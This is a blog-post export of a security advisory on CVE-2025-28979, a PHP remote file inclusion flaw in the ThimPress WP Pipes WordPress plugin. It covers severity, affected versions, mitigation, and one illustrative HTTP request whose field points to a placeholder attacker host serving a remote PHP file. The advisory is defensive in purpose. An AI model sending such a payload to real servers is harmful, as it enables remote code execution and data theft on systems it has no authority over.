{"id":64305,"date":"2025-08-25T06:20:55","date_gmt":"2025-08-25T06:20:55","guid":{"rendered":""},"modified":"2025-09-14T12:47:37","modified_gmt":"2025-09-14T18:47:37","slug":"cve-2025-28979-php-remote-file-inclusion-vulnerability-in-thimpress-wp-pipes","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-28979-php-remote-file-inclusion-vulnerability-in-thimpress-wp-pipes\/","title":{"rendered":"CVE-2025-28979: PHP Remote File Inclusion Vulnerability in ThimPress WP Pipes<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The discovery of the CVE-2025-28979 vulnerability is a significant development in the cybersecurity landscape, particularly for users and developers relying on ThimPress WP Pipes. This security flaw allows an attacker to exploit an ‘Improper Control of Filename for Include\/Require Statement in PHP Program’ vulnerability, also known as a PHP Remote File Inclusion vulnerability. This vulnerability has serious implications, potentially leading<\/a> to system compromise or data leakage, thereby emphasizing the critical need for its immediate patching and remediation.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-28979
\nSeverity: High (8.1 CVSS Severity Score)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise<\/a>, potential data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

ThimPress WP Pipes | All versions until 1.4.3<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The PHP Remote File Inclusion vulnerability<\/a> occurs when an attacker manipulates a PHP ‘include’ or ‘require’ statement to include a remote file from an external server. This file can contain malicious PHP<\/a> code, which is then executed by the server-side PHP interpreter. In the case of CVE-2025-28979, this vulnerability is present in the ThimPress WP Pipes plugin<\/a>, which improperly controls the filename for include\/require statements.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

A conceptual example of how this vulnerability might be exploited is by sending a specifically crafted HTTP POST request to the vulnerable endpoint with a malicious payload as follows:<\/p>\n

POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{ \"include_file\": \"http:\/\/malicious.example.com\/exploit.php\" }<\/code><\/pre>\n
In this example, ‘http:\/\/malicious.example.com\/exploit.php’ is a remote PHP file that contains malicious code<\/a>. When this request is processed by the server, the ‘include_file’ statement will include and execute the remote malicious PHP file, leading to potential system compromise<\/a> or data leakage.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
Users of ThimPress WP Pipes are advised to apply the vendor patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to mitigate the impact of this vulnerability<\/a>. These systems can be configured to detect and block attempts to exploit this vulnerability<\/a>, providing a temporary solution until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"
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